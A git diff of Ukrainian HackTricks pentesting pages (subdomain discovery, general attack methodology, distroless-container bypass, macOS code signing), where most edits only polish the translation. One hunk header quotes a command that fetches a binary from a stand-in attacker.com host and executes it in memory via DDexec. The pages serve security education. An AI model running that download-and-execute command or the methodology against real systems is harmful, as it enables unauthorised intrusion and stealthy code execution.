### **Процес виявлення піддоменів**
|
||||
### **Робочий процес виявлення піддоменів**
|
||||
|
||||
Перегляньте цей блог-пост, який я написав про те, як **автоматизувати виявлення піддоменів** з домену, використовуючи **Trickest workflows**, щоб мені не потрібно було вручну запускати купу інструментів на моєму комп'ютері:
|
||||
Перегляньте цей блог-пост, який я написав про те, як **автоматизувати виявлення піддоменів** з домену, використовуючи **робочі процеси Trickest**, щоб мені не потрібно було вручну запускати купу інструментів на моєму комп'ютері:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
|
||||
|
||||
|
@ -434,7 +434,7 @@ echo www | subzuf facebook.com
|
|||
|
||||
### **VHosts / Віртуальні хости**
|
||||
|
||||
Якщо ви знайшли IP-адресу, що містить **одну або кілька веб-сторінок**, що належать піддоменам, ви можете спробувати **знайти інші піддомени з веб-сайтами на цій IP-адресі**, шукаючи в **OSINT джерелах** домени на IP або **брутфорсити доменні імена VHost на цій IP-адресі**.
|
||||
Якщо ви знайшли IP-адресу, що містить **одну або кілька веб-сторінок**, що належать піддоменам, ви можете спробувати **знайти інші піддомени з веб-сайтами на цій IP**-адресі, шукаючи в **OSINT-джерелах** домени на IP або **брутфорсити доменні імена VHost на цій IP**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
|
@ -473,14 +473,14 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
|||
|
||||
### **Моніторинг**
|
||||
|
||||
Ви можете **моніторити**, якщо **нові субдомени** домену створюються, моніторячи **журнали прозорості сертифікатів** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
Ви можете **моніторити**, чи створюються **нові субдомени** домену, моніторячи **журнали прозорості сертифікатів** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
### **Пошук вразливостей**
|
||||
|
||||
Перевірте на можливі [**взяття субдоменів під контроль**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Перевірте на можливі [**взяття субдоменів**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Якщо **субдомен** вказує на якийсь **S3 бакет**, [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Якщо ви знайдете будь-який **субдомен з IP, відмінним** від тих, що ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) і деяке [**сканування портів**](../pentesting-network/#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які сервіси працюють, ви можете знайти в **цьому посібнику деякі трюки для "атаки" на них**.\
|
||||
Якщо ви знайдете будь-який **субдомен з IP, відмінним** від тих, що ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) і деяке [**сканування портів**](../pentesting-network/#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які сервіси працюють, ви можете знайти в **цьому посібнику деякі хитрощі для "атаки" на них**.\
|
||||
_Зверніть увагу, що іноді субдомен розміщений на IP, який не контролюється клієнтом, тому він не входить в обсяг, будьте обережні._
|
||||
|
||||
## IPs
|
||||
|
@ -504,7 +504,7 @@ _Зверніть увагу, що іноді субдомен розміщен
|
|||
|
||||
> Ми знайшли всі компанії та їх активи, і ми знаємо діапазони IP, домени та субдомени в межах обсягу. Час шукати веб-сервери.
|
||||
|
||||
На попередніх етапах ви, ймовірно, вже виконали деяке **розвідку виявлених IP та доменів**, тому ви могли **вже знайти всі можливі веб-сервери**. Однак, якщо ви цього не зробили, ми зараз розглянемо деякі **швидкі трюки для пошуку веб-серверів** в межах обсягу.
|
||||
На попередніх етапах ви, ймовірно, вже виконали деяке **розвідку виявлених IP та доменів**, тому ви могли **вже знайти всі можливі веб-сервери**. Однак, якщо ви цього не зробили, ми зараз розглянемо деякі **швидкі хитрощі для пошуку веб-серверів** в межах обсягу.
|
||||
|
||||
Зверніть увагу, що це буде **орієнтовано на виявлення веб-додатків**, тому вам слід **виконати сканування вразливостей** та **сканування портів** також (**якщо дозволено** обсягом).
|
||||
|
||||
|
@ -573,13 +573,13 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
### Витоки Github
|
||||
|
||||
Облікові дані та API можуть бути витікали в **публічних репозиторіях** **компанії** або **користувачів**, які працюють на цю компанію в GitHub.\
|
||||
Ви можете використовувати **інструмент** [**Leakos**](https://github.com/carlospolop/Leakos), щоб **завантажити** всі **публічні репозиторії** **організації** та її **розробників** та автоматично запустити [**gitleaks**](https://github.com/zricethezav/gitleaks) на них.
|
||||
Ви можете використовувати **інструмент** [**Leakos**](https://github.com/carlospolop/Leakos), щоб **завантажити** всі **публічні репозиторії** **організації** та її **розробників** і автоматично запустити [**gitleaks**](https://github.com/zricethezav/gitleaks) на них.
|
||||
|
||||
**Leakos** також можна використовувати для запуску **gitleaks** проти всього **тексту**, наданого **URL-адресами**, оскільки іноді **веб-сторінки також містять секрети**.
|
||||
|
||||
#### Dorks Github
|
||||
#### Dork'и Github
|
||||
|
||||
Перевірте також цю **сторінку** на предмет потенційних **dorks github**, які ви також могли б шукати в організації, яку ви атакуєте:
|
||||
Перевірте також цю **сторінку** на предмет потенційних **dork'ів github**, які ви також могли б шукати в організації, яку ви атакуєте:
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
|
@ -590,9 +590,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
Іноді зловмисники або просто працівники **публікують вміст компанії на сайті паст**. Це може або не може містити **конфіденційну інформацію**, але це дуже цікаво шукати.\
|
||||
Ви можете використовувати інструмент [**Pastos**](https://github.com/carlospolop/Pastos), щоб шукати більш ніж на 80 сайтах паст одночасно.
|
||||
|
||||
### Dorks Google
|
||||
### Dork'и Google
|
||||
|
||||
Старі, але золоті dorks Google завжди корисні для знаходження **викритої інформації, якої там не повинно бути**. Єдина проблема в тому, що [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) містить кілька **тисяч** можливих запитів, які ви не можете виконати вручну. Тож ви можете взяти свої улюблені 10 або ви можете використовувати **інструмент, такий як** [**Gorks**](https://github.com/carlospolop/Gorks), **щоб запустити їх усі**.
|
||||
Старі, але золоті dork'и Google завжди корисні для знаходження **викритої інформації, якої там не повинно бути**. Єдина проблема в тому, що [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) містить кілька **тисяч** можливих запитів, які ви не можете виконати вручну. Тож ви можете взяти свої улюблені 10 або ви можете використовувати **інструмент, такий як** [**Gorks**](https://github.com/carlospolop/Gorks), **щоб запустити їх усі**.
|
||||
|
||||
_Зверніть увагу, що інструменти, які очікують запустити всю базу даних, використовуючи звичайний браузер Google, ніколи не закінчаться, оскільки Google заблокує вас дуже-дуже швидко._
|
||||
|
||||
|
@ -618,9 +618,9 @@ _Зверніть увагу, що інструменти, які очікуют
|
|||
|
||||
**Більшість вразливостей**, виявлених мисливцями за помилками, знаходяться всередині **веб-додатків**, тому на цьому етапі я хотів би поговорити про **методологію тестування веб-додатків**, і ви можете [**знайти цю інформацію тут**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Я також хочу зробити особливе посилання на розділ [**Автоматизовані сканери веб-відкритого коду**](../../network-services-pentesting/pentesting-web/#automatic-scanners), оскільки, якщо ви не повинні очікувати, що вони знайдуть вам дуже чутливі вразливості, вони стануть у нагоді для реалізації їх у **робочих процесах, щоб отримати деяку початкову веб-інформацію.**
|
||||
Я також хочу зробити особливе посилання на розділ [**Автоматизовані сканери веб-відкритих джерел**](../../network-services-pentesting/pentesting-web/#automatic-scanners), оскільки, якщо ви не повинні очікувати, що вони знайдуть вам дуже чутливі вразливості, вони стануть у нагоді для реалізації їх у **робочих процесах, щоб отримати деяку початкову веб-інформацію.**
|
||||
|
||||
## Рекапітуляція
|
||||
## Резюме
|
||||
|
||||
> Вітаємо! На цьому етапі ви вже виконали **всі основні перерахування**. Так, це базове, оскільки можна виконати ще багато перерахувань (пізніше побачимо більше трюків).
|
||||
|
||||
|
@ -649,7 +649,7 @@ _Зверніть увагу, що інструменти, які очікуют
|
|||
|
||||
* Всі безкоштовні курси [**@Jhaddix**](https://twitter.com/Jhaddix), такі як [**Методологія мисливця за помилками v4.0 - Розвідка**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зломі незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,9 +15,9 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламі непроникного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламуванні незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -46,9 +46,9 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
|
||||
### 3- [Сканування портів - Виявлення сервісів](pentesting-network/#scanning-hosts)
|
||||
|
||||
Перше, що потрібно зробити, коли **шукаєте вразливості в хості**, це дізнатися, які **сервіси працюють** на яких портах. Давайте розглянемо [**базові інструменти для сканування портів хостів**](pentesting-network/#scanning-hosts).
|
||||
Перше, що потрібно зробити, коли **шукаєте вразливості в хості**, це дізнатися, які **сервіси працюють** на яких портах. Давайте подивимося на [**базові інструменти для сканування портів хостів**](pentesting-network/#scanning-hosts).
|
||||
|
||||
### **4-** [**Пошук експлойтів версій сервісів**](search-exploits.md)
|
||||
### **4-** [Пошук експлойтів версій сервісів](search-exploits.md)
|
||||
|
||||
Якщо ви знаєте, які сервіси працюють, і, можливо, їх версії, вам потрібно **шукати відомі вразливості**. Можливо, вам пощастить, і є експлойт, який дасть вам оболонку...
|
||||
|
||||
|
@ -61,7 +61,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
**Я хочу зробити особливе згадування про** [**Пентестинг Веб**](../network-services-pentesting/pentesting-web/) **частину (оскільки вона є найбільш обширною).**\
|
||||
Також тут можна знайти невеликий посібник про те, як [**знайти відомі вразливості в програмному забезпеченні**](search-exploits.md).
|
||||
|
||||
**Якщо ваш сервіс не входить до індексу, шукайте в Google** інші посібники та **дозвольте мені знати, якщо ви хочете, щоб я його додав.** Якщо ви **не можете нічого знайти** в Google, проведіть свій **власний сліпий пентестинг**, ви можете почати з **підключення до сервісу, фуззингу його та читання відповідей** (якщо такі є).
|
||||
**Якщо вашого сервісу немає в індексі, шукайте в Google** інші посібники та **дозвольте мені знати, якщо ви хочете, щоб я його додав.** Якщо ви **не можете нічого знайти** в Google, проведіть свій **власний сліпий пентестинг**, ви можете почати з **підключення до сервісу, фуззингу його та читання відповідей** (якщо такі є).
|
||||
|
||||
#### 5.1 Автоматичні інструменти
|
||||
|
||||
|
@ -69,11 +69,11 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
|
||||
#### **5.2 Брутфорсинг сервісів**
|
||||
|
||||
В деяких сценаріях **Брут-Форс** може бути корисним для **компрометації** **сервісу**. [**Знайдіть тут Чит-лист різних сервісів для брутфорсингу**](brute-force.md)**.**
|
||||
В деяких сценаріях **Брутфорс** може бути корисним для **компрометації** **сервісу**. [**Знайдіть тут Чит-лист різних сервісів для брутфорсингу**](brute-force.md)**.**
|
||||
|
||||
### 6- [Фішинг](phishing-methodology/)
|
||||
|
||||
Якщо на цьому етапі ви не знайшли жодної цікавої вразливості, вам **можливо, потрібно спробувати фішинг**, щоб потрапити всередину мережі. Ви можете прочитати мою методологію фішингу [тут](phishing-methodology/):
|
||||
Якщо на цьому етапі ви не знайшли жодної цікавої вразливості, вам **можливо, потрібно спробувати деякий фішинг**, щоб потрапити всередину мережі. Ви можете прочитати мою методологію фішингу [тут](phishing-methodology/):
|
||||
|
||||
### **7-** [**Отримання оболонки**](reverse-shells/)
|
||||
|
||||
|
@ -91,7 +91,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
|
||||
### **9 -** [**Екстракція**](exfiltration.md)
|
||||
|
||||
Вам, напевно, потрібно буде **екстрактувати деякі дані з жертви** або навіть **ввести щось** (наприклад, скрипти підвищення привілеїв). **Ось тут у вас є** [**пост про загальні інструменти, які ви можете використовувати з цими цілями**](exfiltration.md)**.**
|
||||
Вам, ймовірно, потрібно буде **екстрактувати деякі дані з жертви** або навіть **ввести щось** (наприклад, скрипти підвищення привілеїв). **Ось тут ви маєте** [**пост про загальні інструменти, які ви можете використовувати з цими цілями**](exfiltration.md)**.**
|
||||
|
||||
### **10- Підвищення привілеїв**
|
||||
|
||||
|
@ -104,9 +104,9 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
* [**Аутентифікація, облікові дані, привілеї токенів та UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* Як працює [**NTLM**](../windows-hardening/ntlm/)
|
||||
* Як [**вкрасти облікові дані**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) в Windows
|
||||
* Декілька трюків про [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
* Деякі трюки про [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**Не забудьте перевірити найкращі інструменти для перерахунку шляхів локального підвищення привілеїв Windows та Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**Не забудьте перевірити найкращі інструменти для перерахунку шляхів підвищення привілеїв у Windows та Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Підвищення привілеїв домену**
|
||||
|
||||
|
@ -128,10 +128,10 @@ TODO: Завершити постійність у Windows та Linux
|
|||
|
||||
### 12 - Півотування
|
||||
|
||||
З отриманими **обліковими даними** ви можете отримати доступ до інших машин, або, можливо, вам потрібно **виявити та сканувати нові хости** (почати методологію пентестингу знову) всередині нових мереж, до яких підключена ваша жертва.\
|
||||
У цьому випадку тунелювання може бути необхідним. Тут ви можете знайти [**пост про тунелювання**](tunneling-and-port-forwarding.md).\
|
||||
З **зібраними обліковими даними** ви можете отримати доступ до інших машин, або, можливо, вам потрібно **виявити та сканувати нові хости** (почати методологію пентестингу знову) всередині нових мереж, до яких підключена ваша жертва.\
|
||||
У цьому випадку тунелювання може бути необхідним. Тут ви можете знайти [**пост, що говорить про тунелювання**](tunneling-and-port-forwarding.md).\
|
||||
Вам також слід перевірити пост про [методологію пентестингу Active Directory](../windows-hardening/active-directory-methodology/). Там ви знайдете класні трюки для бічного переміщення, підвищення привілеїв та вивантаження облікових даних.\
|
||||
Також перевірте сторінку про [**NTLM**](../windows-hardening/ntlm/), це може бути дуже корисно для півотування в Windows-середовищах.
|
||||
Також перевірте сторінку про [**NTLM**](../windows-hardening/ntlm/), це може бути дуже корисно для півотування в Windows середовищах.
|
||||
|
||||
### БІЛЬШЕ
|
||||
|
||||
|
@ -151,9 +151,9 @@ TODO: Завершити постійність у Windows та Linux
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламі непроникного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламуванні незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -163,7 +163,7 @@ TODO: Завершити постійність у Windows та Linux
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в усній та письмовій формі_).
|
||||
|
||||
|
@ -94,7 +94,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) є природним наступним кроком DDexec. Це **DDexec shellcode demonised**, тому що щоразу, коли ви хочете **запустити інший бінарний файл**, вам не потрібно перезапускати DDexec, ви можете просто запустити shellcode memexec за допомогою техніки DDexec, а потім **спілкуватися з цим демоном, щоб передати нові бінарні файли для завантаження та виконання**.
|
||||
[**Memexec**](https://github.com/arget13/memexec) є природним наступним кроком DDexec. Це **DDexec shellcode demonised**, тому що щоразу, коли ви хочете **запустити інший бінарний файл**, вам не потрібно перезапускати DDexec, ви можете просто запустити shellcode memexec через техніку DDexec, а потім **спілкуватися з цим демоном, щоб передати нові бінарні файли для завантаження та виконання**.
|
||||
|
||||
Ви можете знайти приклад того, як використовувати **memexec для виконання бінарних файлів з PHP реверс-шелу** за адресою [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
|
@ -108,7 +108,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
|
||||
Контейнери distroless містять лише **найнеобхідні компоненти для запуску конкретного застосунку або служби**, такі як бібліотеки та залежності виконання, але виключають більші компоненти, такі як менеджер пакетів, оболонка або системні утиліти.
|
||||
|
||||
Мета контейнерів distroless полягає в тому, щоб **зменшити поверхню атаки контейнерів, усунувши непотрібні компоненти** та мінімізуючи кількість вразливостей, які можуть бути використані.
|
||||
Мета контейнерів distroless полягає в тому, щоб **зменшити поверхню атаки контейнерів, усунувши непотрібні компоненти** та мінімізувати кількість вразливостей, які можуть бути використані.
|
||||
|
||||
### Реверс-шел
|
||||
|
||||
|
@ -132,9 +132,9 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
|
||||
Ви можете знайти **приклади** того, як **використовувати деякі вразливості RCE**, щоб отримати реверс-шели скриптових мов та виконувати бінарні файли з пам'яті за адресою [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** та зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо вас цікавить **кар'єра в хакінгу** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -148,7 +148,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -0,0 +1,391 @@
|
|||
# macOS Code Signing
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Mach-o бінарні файли містять команду завантаження під назвою **`LC_CODE_SIGNATURE`**, яка вказує на **зсув** та **розмір** підписів всередині бінарного файлу. Насправді, використовуючи графічний інструмент MachOView, можна знайти в кінці бінарного файлу секцію під назвою **Code Signature** з цією інформацією:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
|
||||
Магічний заголовок підпису коду - **`0xFADE0CC0`**. Потім ви отримуєте інформацію, таку як довжина та кількість блобів суперБлоба, які їх містять.\
|
||||
Цю інформацію можна знайти в [джерельному коді тут](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
|
||||
```c
|
||||
/*
|
||||
* Structure of an embedded-signature SuperBlob
|
||||
*/
|
||||
|
||||
typedef struct __BlobIndex {
|
||||
uint32_t type; /* type of entry */
|
||||
uint32_t offset; /* offset of entry */
|
||||
} CS_BlobIndex
|
||||
__attribute__ ((aligned(1)));
|
||||
|
||||
typedef struct __SC_SuperBlob {
|
||||
uint32_t magic; /* magic number */
|
||||
uint32_t length; /* total length of SuperBlob */
|
||||
uint32_t count; /* number of index entries following */
|
||||
CS_BlobIndex index[]; /* (count) entries */
|
||||
/* followed by Blobs in no particular order as indicated by offsets in index */
|
||||
} CS_SuperBlob
|
||||
__attribute__ ((aligned(1)));
|
||||
|
||||
#define KERNEL_HAVE_CS_GENERICBLOB 1
|
||||
typedef struct __SC_GenericBlob {
|
||||
uint32_t magic; /* magic number */
|
||||
uint32_t length; /* total length of blob */
|
||||
char data[];
|
||||
} CS_GenericBlob
|
||||
__attribute__ ((aligned(1)));
|
||||
```
|
||||
Звичайні об'єкти, що містяться, це Директорія коду, Вимоги та Права, а також Синтаксис криптографічного повідомлення (CMS).\
|
||||
Крім того, зверніть увагу, як дані, закодовані в об'єктах, закодовані в **Big Endian.**
|
||||
|
||||
Крім того, підписи можуть бути відокремлені від бінарних файлів і зберігатися в `/var/db/DetachedSignatures` (використовується iOS).
|
||||
|
||||
## Об'єкт директорії коду
|
||||
|
||||
Можна знайти оголошення [Об'єкта директорії коду в коді](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104):
|
||||
```c
|
||||
typedef struct __CodeDirectory {
|
||||
uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
|
||||
uint32_t length; /* total length of CodeDirectory blob */
|
||||
uint32_t version; /* compatibility version */
|
||||
uint32_t flags; /* setup and mode flags */
|
||||
uint32_t hashOffset; /* offset of hash slot element at index zero */
|
||||
uint32_t identOffset; /* offset of identifier string */
|
||||
uint32_t nSpecialSlots; /* number of special hash slots */
|
||||
uint32_t nCodeSlots; /* number of ordinary (code) hash slots */
|
||||
uint32_t codeLimit; /* limit to main image signature range */
|
||||
uint8_t hashSize; /* size of each hash in bytes */
|
||||
uint8_t hashType; /* type of hash (cdHashType* constants) */
|
||||
uint8_t platform; /* platform identifier; zero if not platform binary */
|
||||
uint8_t pageSize; /* log2(page size in bytes); 0 => infinite */
|
||||
uint32_t spare2; /* unused (must be zero) */
|
||||
|
||||
char end_earliest[0];
|
||||
|
||||
/* Version 0x20100 */
|
||||
uint32_t scatterOffset; /* offset of optional scatter vector */
|
||||
char end_withScatter[0];
|
||||
|
||||
/* Version 0x20200 */
|
||||
uint32_t teamOffset; /* offset of optional team identifier */
|
||||
char end_withTeam[0];
|
||||
|
||||
/* Version 0x20300 */
|
||||
uint32_t spare3; /* unused (must be zero) */
|
||||
uint64_t codeLimit64; /* limit to main image signature range, 64 bits */
|
||||
char end_withCodeLimit64[0];
|
||||
|
||||
/* Version 0x20400 */
|
||||
uint64_t execSegBase; /* offset of executable segment */
|
||||
uint64_t execSegLimit; /* limit of executable segment */
|
||||
uint64_t execSegFlags; /* executable segment flags */
|
||||
char end_withExecSeg[0];
|
||||
|
||||
/* Version 0x20500 */
|
||||
uint32_t runtime;
|
||||
uint32_t preEncryptOffset;
|
||||
char end_withPreEncryptOffset[0];
|
||||
|
||||
/* Version 0x20600 */
|
||||
uint8_t linkageHashType;
|
||||
uint8_t linkageApplicationType;
|
||||
uint16_t linkageApplicationSubType;
|
||||
uint32_t linkageOffset;
|
||||
uint32_t linkageSize;
|
||||
char end_withLinkage[0];
|
||||
|
||||
/* followed by dynamic content as located by offset fields above */
|
||||
} CS_CodeDirectory
|
||||
__attribute__ ((aligned(1)));
|
||||
```
|
||||
Зверніть увагу, що існують різні версії цієї структури, де старі можуть містити менше інформації.
|
||||
|
||||
## Сторінки підпису коду
|
||||
|
||||
Хешування повного бінарного файлу було б неефективним і навіть марним, якщо він завантажений в пам'ять лише частково. Тому підпис коду насправді є хешем хешів, де кожна бінарна сторінка хешується окремо.\
|
||||
Насправді, у попередньому коді **Code Directory** ви можете побачити, що **розмір сторінки вказано** в одному з його полів. Більше того, якщо розмір бінарного файлу не є кратним розміру сторінки, поле **CodeLimit** вказує, де закінчується підпис.
|
||||
```bash
|
||||
# Get all hashes of /bin/ps
|
||||
codesign -d -vvvvvv /bin/ps
|
||||
[...]
|
||||
CandidateCDHash sha256=c46e56e9490d93fe35a76199bdb367b3463c91dc
|
||||
CandidateCDHashFull sha256=c46e56e9490d93fe35a76199bdb367b3463c91dcdb3c46403ab8ba1c2d13fd86
|
||||
Hash choices=sha256
|
||||
CMSDigest=c46e56e9490d93fe35a76199bdb367b3463c91dcdb3c46403ab8ba1c2d13fd86
|
||||
CMSDigestType=2
|
||||
Executable Segment base=0
|
||||
Executable Segment limit=32768
|
||||
Executable Segment flags=0x1
|
||||
Page size=4096
|
||||
-7=a542b4dcbc134fbd950c230ed9ddb99a343262a2df8e0c847caee2b6d3b41cc8
|
||||
-6=0000000000000000000000000000000000000000000000000000000000000000
|
||||
-5=2bb2de519f43b8e116c7eeea8adc6811a276fb134c55c9c2e9dcbd3047f80c7d
|
||||
